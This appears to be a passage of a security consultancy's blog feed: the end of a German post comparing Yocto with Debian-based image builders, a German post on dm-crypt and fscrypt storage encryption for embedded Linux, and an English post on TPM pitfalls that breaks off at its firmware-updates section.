Alle drei sind freie Software, und alle drei erzeugen ein deterministisches Image, das Sie auf Ihre Hardware flashen können. Die Wartungsarbeit schrumpft drastisch: die meisten Updates werden zu einer apt-artigen Aktualisierung der Pakete im Image, nicht zum Umschreiben einer Recipe.

Beispiel: debos

Um den Debian-Weg greifbar zu machen, sieht ein debos-basierter Build grob so aus.

debos liest eine YAML-Recipe: eine Liste von Actions wie das Ausführen eines Kommandos, das Erzeugen eines Root-Dateisystems oder das Installieren eines Debian-Pakets aus einer konfigurierten Quelle.

Der grundlegende Ablauf sieht so aus:

• Verwenden Sie aptly¹¹, um einen lokalen Debian-Mirror zu betreiben, der eine Kopie jedes benötigten Debian-Pakets vorhält.
• Bauen Sie Ihren Linux-Kernel und, optional, Ihren Bootloader als Debian-Pakete und fügen Sie sie dem Mirror hinzu.
• Erstellen Sie einen Snapshot des Mirrors und versehen Sie den Snapshot mit einem Tag. Dieser Tag ist Ihr Release.
• Konfigurieren Sie debos so, dass es den Mirror verwendet, und schreiben Sie Recipe-Actions, die Ihr Ziel-Image erzeugen.
• Archivieren Sie bei Bedarf die Debian-Quellpakete und die Software Bill of Materials (SBOM) des Images zusammen mit dem Image. So bleiben Sie auf der sicheren Seite bei den GPL-Anforderungen zur Quelltextverfügbarkeit und den CRA-Vorgaben zur Stückliste. Tools wie debsbom¹² erzeugen die SBOM direkt aus einem Debian-System.

Yocto oder nicht? Eine Entscheidungshilfe

Nach all dem: Wann sollten Sie Yocto wählen?

Verwenden Sie Yocto, wenn:

• Sie eine stark angepasste Distribution brauchen: eigener User Space, eigene Compile-Flags, tiefe Eingriffe in Basiskomponenten.
• Sie harte Vorgaben bei Größe oder Bootzeit haben, die eine Distribution von der Stange nicht erfüllt.
• Sie unter Lizenzbeschränkungen arbeiten, die gängige Lizenzkategorien ausschließen. Manche Branchen (Medizingeräte, Automotive, bestimmte Rüstungsprojekte) liefern keine GPLv3-Komponenten aus. Yoctos INCOMPATIBLE_LICENSE-Mechanismus macht es unkompliziert, eine ganze Lizenzfamilie über das gesamte Image auszuschließen; bei einer unveränderten Debian-Basis müssen Sie die Pakete selbst prüfen und ausdünnen.
• Der offizielle Support-Weg Ihres SoC-Herstellers Yocto ist und das BSP solide ist.

Verzichten Sie auf Yocto, wenn:

• Sie “nur” ein modernes Linux brauchen, auf dem Ihre Anwendung läuft.
• Ihr Budget an Speicher und Arbeitsspeicher ein normales Debian-basiertes Image verkraftet (etwa einige Hundert MB Flash und 256 MB oder mehr RAM).
• Die Produktlebensdauer lang genug ist, dass Sie sich lieber auf das Security Team von Debian verlassen, als selbst zu warten.

Verzichten Sie auf Debian, wenn:

• Sie viele seiner Pakete ändern oder neu bauen müssen. Ein paar neu zu bauen ist machbar, doch jedes neu gebaute Paket ist Wartung, die Sie selbst übernehmen. Dutzende Upstream-Pakete zu patchen schafft genau die Arbeit wieder, die die Debian-Betreuer für Sie erledigt haben, und Yoctos Recipe-Modell bewältigt diese Größenordnung sauberer.
• Sie eine libc jenseits von glibc brauchen, etwa musl oder uClibc. Debians Hauptarchiv verwendet durchgehend glibc; sie auszutauschen bedeutet, den Großteil des Archivs selbst neu zu bauen.
• Sie Software brauchen, die deutlich neuer ist als das, was Debian stable liefert. Backports helfen bei manchen Paketen, doch wenn Ihr Produkt einen aktuellen Compiler oder eine aktuelle Laufzeitumgebung braucht, macht Ihnen Debian stable das Leben schwer, und Debian testing ist kein Produktionsziel.

Wie auch immer Sie sich entscheiden, entscheiden Sie bewusst und entscheiden Sie früh. Das ist eine grundlegende Entscheidung, die sich schwer rückgängig machen lässt, sobald ein Produkt im Feld ist. Im Zweifel beginnen Sie mit einer etablierten Distribution. Später zu Yocto zu migrieren, sobald Sie einen echten Grund dafür haben, ist viel günstiger als der umgekehrte Fall: mitten im Projekt festzustellen, dass Sie sich jahrelange Wartungsarbeit ohne echten Nutzen aufgehalst haben.

Fazit

Yocto ist eine bemerkenswerte technische Leistung. Damit bauen Sie genau das Linux-System, das Sie brauchen, und genau das ist das Problem, wenn Sie genau das nicht brauchen. Dasselbe gilt für andere Tools, die aus dem Quelltext bauen, etwa Buildroot: fast alles oben Gesagte trifft auch dort zu, denn sobald Sie Ihre eigene Distribution zusammenstellen, gehört Ihnen ihre Wartung.

• “Ihre eigene Distribution” bedeutet in Wahrheit Ihre eigene Wartung. Der CRA und ähnliche Regularien machen diese Rechnung fällig.
• Ein stark angepasster Yocto-Build erbt Upstream-Fixes nicht gratis. Jedes Wartungs-Release wird zu Prüfung und Nacharbeit.
• Eine etablierte Distribution wie Debian, mit mkosi, ELBE oder debos zu einem Image zusammengefügt, deckt den Normalfall mit einem Bruchteil des Aufwands pro Projekt ab.
• Wenn Sie chirurgisch genaue Kontrolle über das System brauchen, gewinnt Yocto. Wenn nicht, ist seine Wahl ein langer, teurer Weg, ein Problem zu lösen, das Sie gar nicht haben.

Kunden, die eine maßgeschneiderte Distribution bauen, empfehlen wir immer Yocto. Allen anderen stellen wir immer wieder dieselbe Frage: Brauchen Sie es wirklich?

---

1. yoctoproject.org/software-overview ↩︎

2. Verordnung (EU) 2024/2847 ↩︎

3. Yocto release process ↩︎

4. kernel.org releases ↩︎

5. debian.org ↩︎

6. Debian ports ↩︎

7. Debian LTS ↩︎

8. github.com/systemd/mkosi ↩︎

9. elbe-rfs.org ↩︎

10. github.com/go-debos/debos ↩︎

11. aptly.info ↩︎

12. debsbom ↩︎

]]>https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/Tue, 24 Feb 2026 00:00:00 +0100Lorenz KoflerRichard Weinbergerhttps://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/Vertraulichkeit von Daten durch Speicherverschlüsselung auf Embedded-Linux-Geräten

Der Cyber Resilience Act (CRA) führt die Vertraulichkeit von Daten als eine “grundlegende Cybersicherheitsanforderung” auf, die Produkte erfüllen müssen, um auf dem EU-Markt in Verkehr gebracht zu werden¹. Diese Anforderung betrifft viele Embedded-Linux-Geräte, insbesondere solche, die personenbezogene Daten speichern. Dieser Blog-Post ist der erste einer Reihe zu Sicherheitsthemen rund um den CRA.

Vertraulichkeit von Daten bedeutet den Schutz von Daten vor unbefugtem Zugriff und unbefugter Offenlegung. Um Vertraulichkeit umfassend sicherzustellen, muss sie über alle Zustände hinweg gewahrt bleiben, in denen Daten vorliegen können. Je nach Bedrohungsmodell können für jeden Zustand unterschiedliche Technologien erforderlich sein. Zum Beispiel:

]]>Vertraulichkeit von Daten durch Speicherverschlüsselung auf Embedded-Linux-Geräten

Der Cyber Resilience Act (CRA) führt die Vertraulichkeit von Daten als eine “grundlegende Cybersicherheitsanforderung” auf, die Produkte erfüllen müssen, um auf dem EU-Markt in Verkehr gebracht zu werden¹. Diese Anforderung betrifft viele Embedded-Linux-Geräte, insbesondere solche, die personenbezogene Daten speichern. Dieser Blog-Post ist der erste einer Reihe zu Sicherheitsthemen rund um den CRA.

Vertraulichkeit von Daten bedeutet den Schutz von Daten vor unbefugtem Zugriff und unbefugter Offenlegung. Um Vertraulichkeit umfassend sicherzustellen, muss sie über alle Zustände hinweg gewahrt bleiben, in denen Daten vorliegen können. Je nach Bedrohungsmodell können für jeden Zustand unterschiedliche Technologien erforderlich sein. Zum Beispiel:

• Transport Layer Security (TLS) für Daten während der Übertragung
• Trusted Execution Environments (TEEs) für Daten während der Verarbeitung
• Verschlüsselung ruhender Daten (z. B. Full Disk Encryption) für ruhende Daten

Verschiedene Verfahren können die Vertraulichkeit ruhender Daten gewährleisten, abhängig von den konkreten Anforderungen an die Daten. Um beispielsweise Benutzerpasswörter zu schützen, setzt Linux auf die Shadow-Datei (/etc/shadow), die gesalzene Passwort-Hashes speichert. Dieser Ansatz funktioniert, weil die Authentifizierung lediglich den Vergleich von Hashes erfordert und nicht die Wiederherstellung des ursprünglichen Klartexts. Wenn die Daten jedoch später im Klartext abgerufen werden müssen, ist Verschlüsselung ein gängiger Ansatz.

Speicherverschlüsselung lässt sich auf mehreren Ebenen des Software-Stacks umsetzen. Der feingranularste Ansatz ist die Verschlüsselung auf Anwendungsebene, bei der bestimmte Programme wie Passwortmanager die Ver- und Entschlüsselung intern verwalten. Eine weitere Möglichkeit ist die Verschlüsselung auf Speicherebene, die Daten transparent schützt, unabhängig davon, welche Anwendung darauf zugreift. In diesem Beitrag konzentrieren wir uns auf die Technologien zur Speicherverschlüsselung, die unter Linux verfügbar sind.

Linux bietet innerhalb des Storage-Stacks mehrere Mechanismen zur Verschlüsselung ruhender Daten, wobei dm-crypt², fscrypt³ und eCryptfs⁴ zu den gängigsten Optionen zählen. Auf Blockebene ermöglicht dm-crypt die Verschlüsselung ganzer Festplatten oder Partitionen. Auf Dateisystemebene erlaubt fscrypt eine granulare Verschlüsselung pro Verzeichnis auf unterstützten Dateisystemen. eCryptfs bietet zwar einen ähnlichen Ansatz mit einem gestapelten Dateisystem, ist aber eine ältere Technologie, die weitgehend durch fscrypt abgelöst wurde.

Randnotiz: Was ruhende Daten sind

Ruhende Daten bezeichnen digitale Informationen, die physisch auf einem stabilen Speichermedium abgelegt sind, etwa auf einer Festplatte oder einem Flash-Speicher, und die sich weder gerade durch ein Netzwerk bewegen noch im Arbeitsspeicher verarbeitet werden. Im Kontext der Speicherverschlüsselung werden diese Daten geschützt, indem sie mit kryptographischen Algorithmen in Chiffretext umgewandelt werden. So bleibt ihre Vertraulichkeit selbst dann gewahrt, wenn die physische Hardware gestohlen wird. Der Zugriff auf die Informationen erfordert einen bestimmten Schlüssel zur Entschlüsselung oder ein Passwort, das als letzte Barriere zwischen einem unbefugten Benutzer und den eigentlichen Dateien dient.

Verschlüsselung auf Blockebene mit dm-crypt

Das Device-Mapper-Target dm-crypt setzt unter Linux die Verschlüsselung auf Blockebene um. Es ermöglicht die Verschlüsselung ganzer Festplatten oder Partitionen auf jedem Gerät, das Linux als Block Device bereitstellt, also auf jedem Speichermedium, das Daten in Blöcken fester Größe verarbeitet, etwa HDDs, SSDs, SD-Karten und eMMC-Module. Da es auf Blockebene arbeitet, unterstützt es jedes blockbasierte Dateisystem.

Der Linux Device-Mapper erlaubt das Anlegen virtueller Block Devices, die auf ein oder mehrere zugrunde liegende Block Devices abgebildet werden, die physisch oder virtuell sein können. Ein Device-Mapper-Target verarbeitet Lese- und Schreibanfragen, die an das virtuelle Block Device gestellt werden, und leitet sie an das darunterliegende Gerät weiter. Das Target legt fest, wie Anfragen abgebildet werden und ob die Daten dabei transformiert werden. Ein solches Target ist dm-crypt, das Daten beim Schreiben verschlüsselt und beim Lesen entschlüsselt.

dm-crypt kann zwar ganze Festplatten oder Partitionen verschlüsseln, arbeitet aber ausschließlich mit Block Devices. Daher kann es nicht mit rohem Flash arbeiten, der über das Linux-MTD-Subsystem bereitgestellt wird (z. B. rohes NAND), was in Embedded-Systemen häufig vorkommt. Beachten Sie, dass SSDs und USB-Sticks ebenfalls Flash-basiert sind, ihre internen Controller den rohen Flash jedoch abstrahieren und dem Betriebssystem eine normale Block-Device-Schnittstelle präsentieren.

Das Userspace-Werkzeug cryptsetup⁵ wird üblicherweise zum Konfigurieren von dm-crypt-Volumes verwendet. Alternativ bietet das Werkzeug dmsetup⁶ Low-Level-Kontrolle über den Device-Mapper und kann Mappings für jedes Target verwalten, einschließlich dm-crypt. cryptsetup unterstützt das Format Linux Unified Key Setup (LUKS) (LUKS1⁷ und LUKS2⁸), das einen standardisierten On-Disk-Header zum Speichern der Verschlüsselungs-Metadaten am Anfang des verschlüsselten Block Devices festlegt. Der LUKS-Header enthält mehrere Key-Slots, sodass mehrere Passphrasen dasselbe verschlüsselte Volume entsperren können. Wenn der Benutzer eine Passphrase eingibt, leitet cryptsetup daraus einen Key-Encryption-Key ab und entschlüsselt damit das in einem LUKS-Key-Slot gespeicherte Volume-Key-Material. Gelingt dieser Schritt, lädt cryptsetup den Volume-Key in dm-crypt.

Verschlüsselung auf Dateisystemebene mit fscrypt (oder eCryptfs)

Der Linux-Kernel stellt zwei Mechanismen für die Verschlüsselung auf Dateisystemebene bereit: fscrypt und eCryptfs. Von diesen ist fscrypt die moderne und empfohlene Lösung. Bevor fscrypt eingeführt wurde, kamen häufig Overlay- oder gestapelte Dateisystemansätze wie eCryptfs zum Einsatz. eCryptfs ist selbst ein gestapeltes Dateisystem und gilt in der Community inzwischen weithin als veraltet, mit einer möglichen Entfernung aus dem Linux-Kernel in der Zukunft⁹. Sein Einsatz lässt sich heute daher in der Regel nur in Nischenszenarien rechtfertigen, vor allem dann, wenn Verschlüsselung auf Dateisystemebene erforderlich ist, das zugrunde liegende Dateisystem aber fscrypt nicht unterstützt.

fscrypt bietet transparente Verschlüsselung auf Dateisystemebene. Im Gegensatz zu dm-crypt, das ein ganzes Block Device verschlüsselt, wendet die Verschlüsselung auf Dateisystemebene Richtlinien pro Verzeichnis an und verschlüsselt die Dateien innerhalb des geschützten Verzeichnisbaums. Dieser Aufbau erlaubt es, dass verschiedene Teile desselben Dateisystems unterschiedliche Schlüssel verwenden. So können beispielsweise mehrere Benutzer ihre Home-Verzeichnisse mit jeweils eigenen Schlüsseln verschlüsseln, obwohl alle Home-Verzeichnisse auf demselben zugrunde liegenden Block Device liegen.

Da fscrypt eine Bibliothek ist, in die sich Dateisysteme einklinken können, um transparente Verschlüsselung von Dateien und Verzeichnissen zu unterstützen, muss ein Dateisystem sie ausdrücklich unterstützen. Zu den Dateisystemen, die fscrypt derzeit unterstützen, zählen ext4, f2fs und ubifs. fscrypt ist besonders relevant für tief eingebettete Linux-Systeme, die rohen NAND-Speicher verwenden, bei denen dm-crypt nicht eingesetzt werden kann, weil es nur mit Block Devices arbeitet.

Wichtig zu beachten ist, dass fscrypt Dateiinhalte und Dateinamen verschlüsselt, die meisten Metadaten des Dateisystems jedoch unverschlüsselt lässt. Dazu gehören Eigentümer- und Berechtigungsbits, Zeitstempel und die Verzeichnisstruktur.

Die wichtigsten Erkenntnisse

Linux kann ruhende Daten durch Speicherverschlüsselung schützen, auf Blockebene mit dm-crypt oder auf Dateisystemebene mit fscrypt oder dem älteren eCryptfs. Aus Sicht der Anwendungen ist dieser Schutz transparent, weil der Kernel Daten bei Schreibvorgängen verschlüsselt und bei Lesevorgängen entschlüsselt. Dadurch werden die Daten in verschlüsselter Form auf dem Datenträger gespeichert. Ein Angreifer, der physischen Zugriff auf das Speichermedium erlangt oder ein Offline-Abbild des Datenträgers erhält, kann nur Chiffretext wiederherstellen.

Eine feingranularere Alternative ist die Verschlüsselung auf Anwendungsebene, bei der die Anwendung Ver- und Entschlüsselung intern umsetzt. Dieser Ansatz erhöht die Komplexität, kann aber zusätzlichen Schutz gegen bestimmte Laufzeitangriffe bieten. Stellen Sie sich beispielsweise einen Angreifer vor, der aus der Ferne beliebigen Lesezugriff auf das Dateisystem erlangt. Bei Verschlüsselung auf Anwendungsebene liefern Lesezugriffe auf die Datendateien der Anwendung weiterhin nur Chiffretext, und der Angreifer muss zusätzlich die Anwendung oder ihren Umgang mit den Schlüsseln kompromittieren, um an den Klartext zu gelangen. Bei den zuvor besprochenen Methoden der Speicherverschlüsselung hingegen gibt das Betriebssystem den Klartext im Rahmen des normalen Betriebs über das Dateisystem preis, sobald die Daten entsperrt sind. Ein Angreifer mit ausreichendem Laufzeit-Dateizugriff kann die Daten also direkt lesen.

Verschlüsselung allein gewährleistet jedoch keine Integrität. fscrypt beispielsweise bietet Vertraulichkeit, aber keine Integrität. Ein Angreifer, der Chiffretext verändert, kann so Datenkorruption verursachen oder, schlimmer noch, verschlüsselte Daten so verändern, dass sich Software anders verhält. Um Manipulationen zu erkennen, verwenden Sie authentifizierte Verschlüsselung (AEAD) mit dm-crypt in Kombination mit Integritätsmechanismen wie dm-integrity¹⁰ für beschreibbaren Speicher oder dm-verity¹¹ für schreibgeschützten Speicher.

Ein weiterer Punkt, den es zu bedenken gilt: Auf Embedded-Geräten ist die interaktive Eingabe einer Passphrase beim Booten in der Regel nicht möglich, obwohl sie zum Abrufen des Schlüssels für die Speicherverschlüsselung nötig ist. Der Schlüssel muss daher an einem sicheren Ort abgelegt werden. Embedded-Systeme setzen zu diesem Zweck üblicherweise auf hardwaregestützte Schlüsselspeicherung, etwa auf TPMs oder Secure Elements. Weiterführende Informationen finden Sie in unserem Blog-Post TPM auf Embedded-Systemen.

Welches Verfahren sich am besten eignet, um die Vertraulichkeit von Daten sicherzustellen, hängt von den zu schützenden Daten und vom Bedrohungsmodell ab. Bei der sigma star gmbh empfehlen wir generell, Full Disk Encryption mit dm-crypt mit Verschlüsselung auf Anwendungsebene für sensible Daten zu kombinieren. Für Embedded-Systeme empfehlen wir außerdem, Verschlüsselungsalgorithmen und Cipher-Konfigurationen mit Benchmarks zu vergleichen. Muss die CPU jeden Block in Software ver- und entschlüsseln, können Lese- und Schreibdurchsatz sowie die Bootzeit leiden. Indem wir mögliche Konfigurationen auf der Zielhardware mit Benchmarks vermessen, können wir die leistungsstärkste Option ermitteln, ohne die Sicherheit zu beeinträchtigen.

---

1. https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I ↩︎

2. https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html ↩︎

3. https://docs.kernel.org/filesystems/fscrypt.html ↩︎

4. https://www.ecryptfs.org/ ↩︎

5. https://man7.org/linux/man-pages/man8/cryptsetup.8.html ↩︎

6. https://man7.org/linux/man-pages/man8/dmsetup.8.html ↩︎

7. https://cdn.kernel.org/pub/linux/utils/cryptsetup/LUKS_docs/on-disk-format.pdf ↩︎

8. https://gitlab.com/cryptsetup/LUKS2-docs/-/raw/main/luks2_doc_wip.pdf ↩︎

9. https://lore.kernel.org/lkml/ZyKf6ZSZrETI+4%2FS@redbud/T/#u ↩︎

10. https://docs.kernel.org/admin-guide/device-mapper/dm-integrity.html ↩︎

11. https://docs.kernel.org/admin-guide/device-mapper/verity.html ↩︎

]]>https://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/Mon, 19 Jan 2026 00:00:00 +0100David Gstirhttps://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For

Trusted Platform Module (TPM) chips have been around since the release of the TPM 1.2 specification more than 20 years ago, and the TPM 2.0 specification¹ was released in 2014. The technology is now seeing widespread adoption in various computing sectors. TPMs have been a standard feature in PCs, particularly notebooks, for some time. With integration into tools like systemd’s tooling for LUKS/dm-crypt and legal requirements like EU’s CRA, TPM functionality is also now making its way into the embedded Linux sector. In this post, we’ll highlight common pitfalls and considerations for using TPM chips on embedded devices.

]]>TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For

Trusted Platform Module (TPM) chips have been around since the release of the TPM 1.2 specification more than 20 years ago, and the TPM 2.0 specification¹ was released in 2014. The technology is now seeing widespread adoption in various computing sectors. TPMs have been a standard feature in PCs, particularly notebooks, for some time. With integration into tools like systemd’s tooling for LUKS/dm-crypt and legal requirements like EU’s CRA, TPM functionality is also now making its way into the embedded Linux sector. In this post, we’ll highlight common pitfalls and considerations for using TPM chips on embedded devices.

Brief Overview: Trusted Platform Module (TPM)

Usually, a TPM is a dedicated chip that is connected to the CPU via a bus like LPC, SPI, or I2C. In modern PCs, a firmware-based TPM (fTPM) is common, where the firmware (e.g., UEFI) emulates a TPM in a secure environment. The same is also possible on embedded devices, for example, by using Arm TrustZone to emulate a TPM.

There are three common use cases for TPM:

1. Secret storage: A core feature of a TPM is its ability to protect data using secure, internal keys. These keys are protected in a way that makes them usable only by and within the TPM itself. A TPM 2.0 chip supports multiple key hierarchies that reflect different trust scenarios, with the Platform Hierarchy and Storage Hierarchy being the most commonly used ones. A TPM client can create a new key in a hierarchy where the parent key’s handle is used to protect (encrypt and authenticate) the child key’s data (then known as blob) when it is placed in external storage². This process is known as binding. When the secret is needed again, the protected blob is passed back to the TPM, which verifies and decrypts it before returning it to the client.

   The TPM 2.0 specification defines a multitude of cryptographic algorithms such as hash functions, symmetric/asymmetric ciphers and message authentication codes (MACs). This enables its use for network protocols like TLS and storage security like LUKS/dm-crypt on Linux or BitLocker on Windows.

2. Measured boot: Each TPM chip contains a set of 24 Platform Configuration Registers (PCRs)³. Their values are hashes produced from log events that reflect the boot and configuration state of the platform. This is primarily used to secure the boot chain of a system, where each stage of the boot process measures relevant components (bootloader, drivers, firmware, configuration data, etc.) and uses these measurements to extend the cryptographic hash of the respective PCRs. Concurrently, the details of these measurements are recorded in the TPM’s event log. The full set of PCR values provides a record of the boot state. Should a component be manipulated, the final PCR value will change, which indicates a potential security issue.

   This can be combined with TPM keys, where each key can be tied to a set of PCR values (known as sealing). If the PCRs contain the expected values, the TPM allows the key to be used. Otherwise, its use is prevented. This enables tight control over when a key is usable and provides an integrity measure.

3. (Remote) Attestation: TPMs provide the ability to produce cryptographic proof of the boot and configuration state of a system. This is done through a dedicated attestation protocol. For the protocol to work, a trust chain must be established by verifying the TPM’s identity and its Attestation Key (AK). The attestation procedure utilizes a TPM key that is bound to a set of PCR values. This enforces that the attestation can only be run when the system is in a known, secure state. The result of this process is a signed Quote from the TPM, which contains the current PCR values and a signature that proves their origin.

Using TPM on Embedded Device

Embedded devices are primarily based on Arm SoCs, in contrast to the x86/amd64-based CPUs common in PCs. This distinction is particularly relevant for the secure boot process, as much of this is handled by a PC’s UEFI, which is not standard on most embedded systems. Instead, these systems rely on a vendor-specific boot-ROM followed by bootloaders like Barebox or U-Boot. While U-Boot can support running in UEFI mode, this is still a rarity in the embedded space. It is, however, possible to achieve a similar security posture without UEFI, as demonstrated by Manuel Traut’s All Systems Go! talk from 2024⁴. A physical TPM chip is not strictly necessary either, as a fTPM can be implemented using technologies like Arm TrustZone with OP-TEE.

From a threat model perspective, a critical difference between a PC and an embedded device is that an embedded system often operates in a physically hostile environment without constant human supervision. While a laptop can usually be protected by its owner quite easily (i.e. lock it away), an embedded device, such as an IoT sensor or a point-of-sale terminal, is a prime target for physical attacks including tampering, side-channel attacks, fault injection, and bus snooping. This is particularly relevant when a TPM is used for disk encryption, as research has shown these attacks can be effective against solutions like BitLocker⁵ and others⁶.

The key difference in threat models is that the device manufacturer often needs to protect their intellectual property (firmware, algorithms, and data) from the end-user or third parties, whereas on a PC, the end-user is the one protecting their assets.

An advantage of embedded systems, however, is that their software stack is tailored to a specific use case, unlike a general-purpose PC. This allows the manufacturer to tightly control the software environment and implement robust security measures.

Other noteworthy differences include the significantly longer lifetimes of embedded systems, which can exceed 10 years, compared to the 3-5 year lifespan of a typical PC. This extended lifecycle necessitates longer support cycles for hardware components, including TPM chips, whose firmware may contain vulnerabilities that require updates. Furthermore, embedded systems are increasingly subject to legal requirements like CRA (Cyber Resilience Act) and NIS2 (Network and Information Systems Directive 2), which aim to raise their security baseline and hold manufacturers accountable.

TPM Pitfalls on Embedded Devices

With that differences in mind, let’s have a look at some of the common pitfalls when using a TPM in general and specifically an embedded system:

Bus Snooping Attacks

By attaching a probe to the physical communication lines between a TPM and the CPU/SoC, a passive attacker can read the messages exchanged between them. This is a common and straightforward physical attack, particularly in unattended embedded devices.

To mitigate this, TPM 2.0 supports session-based command and response parameter encryption. This requires a secure session to be established between the client and the TPM. The TPM specification defines multiple session types, including HMAC sessions for command authentication and integrity, and policy sessions for more complex authorization based on conditions like PCR values.

Crucially, the TPM’s session-based encryption and authentication must be explicitly enabled by the client software, as not all current implementations do this by default. This is a significant security risk, as a lack of session encryption can expose sensitive data like unsealed keys or authorization values in plaintext on the bus, making it vulnerable to passive bus snooping.

TPM Reset Attacks by Active Interposer

A more advanced threat is an active attacker on the bus between the TPM and the CPU. They can launch a Man-in-the-Middle (MitM) attack, impersonating a legitimate TPM. Even with session encryption, this attack can be effective if the client does not first establish a trusted relationship with the TPM. A Time-of-Check to Time-of-Use (TOCTU) attack is also possible, where the attacker only launches the MitM once the system’s integrity check has passed.

A major challenge is attacks that work across TPM resets. An attacker can physically reset the TPM to force it back into an uncompromised state and then reconstruct the PCR values to reflect an untampered boot. This allows them to access keys sealed to those specific PCR values.

While there is no way to fully prevent a determined physical attacker, the Linux Kernel has gained support to detect such interposer attacks thanks to James Bottomley’s work on Kernel 6.10. The mechanism chosen for this relies on the TPM’s NULL seed, which changes its value on every TPM reset. This allows the kernel to derive a primary key that is volatile to the current boot session. The key’s unique, name can be passed securely from the bootloader to the kernel. If a MitM attacker resets the TPM during this handover, the handle will become invalid.

The attestation process is rather complex to perform in kernel code, so the kernel exposes the name of the derived key via sysfs, enabling userspace to perform the full attestation logic including verification of the EK certificate. Successful attestation of this NULL key name will prove that there was no interposer present during the whole boot process. For more details, see James’ excellent talk at FOSDEM 2025⁷.

Unfortunately, while the foundations in the Linux Kernel have been put in place and documented⁸, other parts are still lagging behind here. Especially systemd’s dm-crypt integration does not support this as of now.

A more robust alternative that helps mitigate these types of attacks is using a fTPM, as it runs on the same SoC, eliminating the physical bus. However, fTPMs have their own set of caveats, which we will discuss later.

Direct Physical Attacks on TPM Chip

With full physical access to the device, a malicious actor can perform a range of attacks, from fault injection and side-channel analysis to more direct tampering. While TPM chips are designed with security in mind, the level of protection varies significantly by vendor and model. The ISO/IEC 19790⁹ security level provides an indicator of a chip’s physical security capabilities. Unfortunately, most commercial TPMs only achieve Level 1 or Level 2. Level 3 and 4 certifications, which require tamper-resistant or tamper-evident features, are extremely rare for TPMs and are typically reserved for high-security applications using dedicated hardware security modules (HSMs).

A highly motivated attacker can aim to circumvent these protections by desoldering the TPM and operating in another device. When its secrets are cryptographically sealed to PCRs, it is also required that the attacker reproduces the relevant PCR measurements in order to be able to unseal a key outside the original device. While this is extremely difficult and requires a lot of effort, it demonstrates that a TPM is not a silver bullet.

Integrity Protection and Code Execution Flaws

While the host has means to verify the TPM chip (Endorsement Key), this does not work the other way around. A TPM has no way to do this as it is a passive device. As long as the caller provides the correct authorization value to perform a command, it will do so. This is a huge problem if malicious code is executed on a running system. If it gains enough privileges it can interact with the TPM to have it decrypt secrets.

If a TPM key is sealed to specific PCR values, a malicious process can gain access by resetting the TPM and replaying a legitimate boot process.

This highlights the need to secure the entire boot chain using measured boot and verified boot. However, these do not cover any runtime issues after the system successfully booted. For this, additional Kernel features like IMA/EVM are needed.

On embedded Arm-based systems, measured boot often begins after the SoC’s boot-ROM and the initial bootloader, which is why SoC-specific features like NXP’s HAB are essential to secure the lowest levels of the boot chain.

For secret storage, a robust hardening measure is to lock the TPM key to PCRs that change once the key is no longer needed. Once the disk is mounted in the initrd, an additional measurement can be made to change a PCR value, making the sealed key unusable until the next boot.

In general, a TPM cannot fully mitigate any code execution flaw on your platform. Once an attacker controls the OS kernel, they can often extract secrets already in memory or copy data from mounted, unencrypted disks. Therefore, additional in-depth hardening (e.g., AppArmor, SELinux), a clear concept of least privilege per process and hardening of backend infrastructure are crucial.

Hardware Flaws

TPM chips from various vendors have had hardware flaws in the past. One prime example is the ROCA vulnerability¹⁰ (CVE-2017-15361) affecting millions of Infineon TPM chips which produced weak RSA keys. Vulnerabilities like these become even more problematic with longer product lifetimes. If the security of a product is solely based on the TPM chip, a flaw in it can be catastrophic.

Therefore, additional hardening measures are needed to reduce the impact of malicious code execution (e.g. reduced privileges, SELinux) or key extraction (e.g. unique keys per device). Furthermore, any backend infrastructure should be hardened such that a single compromised device cannot impact the operation of other devices.

Software-based TPM Issues

On Intel and AMD hardware, fTPMs have become more known at least since Windows 11 requires a TPM to operate. These solutions implement a TPM in software, running within a Trusted Execution Environment (TEE) on the CPU. This has the advantage of removing any physical bus that can be snooped or tampered with. On the other hand, fTPMs are still vulnerable to various kinds of side-channel attacks, such as timing leaks, as the vulnerability dubbed TPM-FAIL has shown¹¹.

These trusted execution environments are vulnerable as well. Any flaw in the TEE can result in a full compromise of the TPM keys, breaking all security guarantees. This includes insecure key storage. While the TEEs are designed to keep the execution state safe, it also requires a secure way to persist secrets (e.g., TPM key hierarchy seeds) across reboots. A prime example is the faulTPM flaw on some AMD CPUs¹².

On Arm-based embedded devices, the main way to implement an fTPM is by utilizing Arm TrustZone technology and something like OP-TEE’s fTPM¹³. Any flaw in the TrustZone implementation can be a problem, including memory protection issues that leak keys the fTPM holds in memory¹⁴.

When using OP-TEE, it is also essential to properly configure the storage layer and ensure that it has a secure way to derive a storage encryption key that cannot be accessed outside of the TEE. SoCs with upstream OP-TEE support often already have this, but vendors sometimes ship forks that do not. When using storage backed by eMMC RPMB (Replay Protected Memory Block), the key must be properly set up and configured. Hard-coding the RPMB key in the OP-TEE binary is a particularly bad idea.

Cold Boot Attacks

While not a direct TPM problem, cold boot attacks are a critical consideration when designing a system that uses a TPM for secret storage. Although a physical TPM provides protection for its internal memory, the problem lies with the main system memory once the TPM has unsealed and returned a secret to the host. A prime example is disk encryption, where the encryption key resides in the volatile main memory for the entire duration of the system’s uptime. It is essential to ensure proper mitigations against cold boot attacks to avoid leaking secrets this way.

Performance

Not specific to embedded systems, but often overlooked: a TPM is slow. Therefore, offloading cryptography-heavy protocols like TLS to the TPM is unfeasible. It can, however, still be used to keep long-term keys secure and perform less timing-critical operations during a protocol handshake.

One more thing to keep in mind is that with TPM 2.0, root keys are not stored directly but derived from seeds. This key derivation can be computationally expensive. Consequently, using a RSA key can cause more significant delays than an ECC key due to the mathematical operations involved.

TPM Firmware Updates

